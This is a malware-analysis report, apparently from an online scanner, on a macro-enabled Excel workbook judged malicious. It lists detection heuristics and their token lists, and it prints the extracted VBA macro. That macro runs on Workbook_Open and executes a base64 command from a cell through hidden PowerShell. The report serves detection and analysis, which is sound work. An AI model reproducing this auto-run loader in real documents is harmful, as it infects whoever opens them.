MALICIOUS
228
Risk Score
Heuristics 6
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell CreateObject("Scripting.FileSystemObject").GetSpecialFolder(1) & "\WindowsPowerShell\v1.0\powershell.exe -e " & b64, vbHide -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
Shell CreateObject("Scripting.FileSystemObject").GetSpecialFolder(1) & "\WindowsPowerShell\v1.0\powershell.exe -e " & b64, vbHide -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Shell CreateObject("Scripting.FileSystemObject").GetSpecialFolder(1) & "\WindowsPowerShell\v1.0\powershell.exe -e " & b64, vbHide -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open()
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1061 bytes |
SHA-256: 51c839ec0c407846ab156cc100d6abc473843c3322ca18a56a74ce3b551c0fc1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
On Error Resume Next
Dim b64 As String
b64 = Trim(ThisWorkbook.ActiveSheet.Range("AZ51").Value)
If b64 <> "" Then
' %SystemRoot%\System32\WindowsPowerShell\v1.0\ powershell.exe заменяется на окружение %ComSpec%
Shell CreateObject("Scripting.FileSystemObject").GetSpecialFolder(1) & "\WindowsPowerShell\v1.0\powershell.exe -e " & b64, vbHide
End If
End Sub
Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 16896 bytes |
SHA-256: 6e2484c8d1ea786464f81f73441005d40a82d5682bf0326ff2259f1914b217f1 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.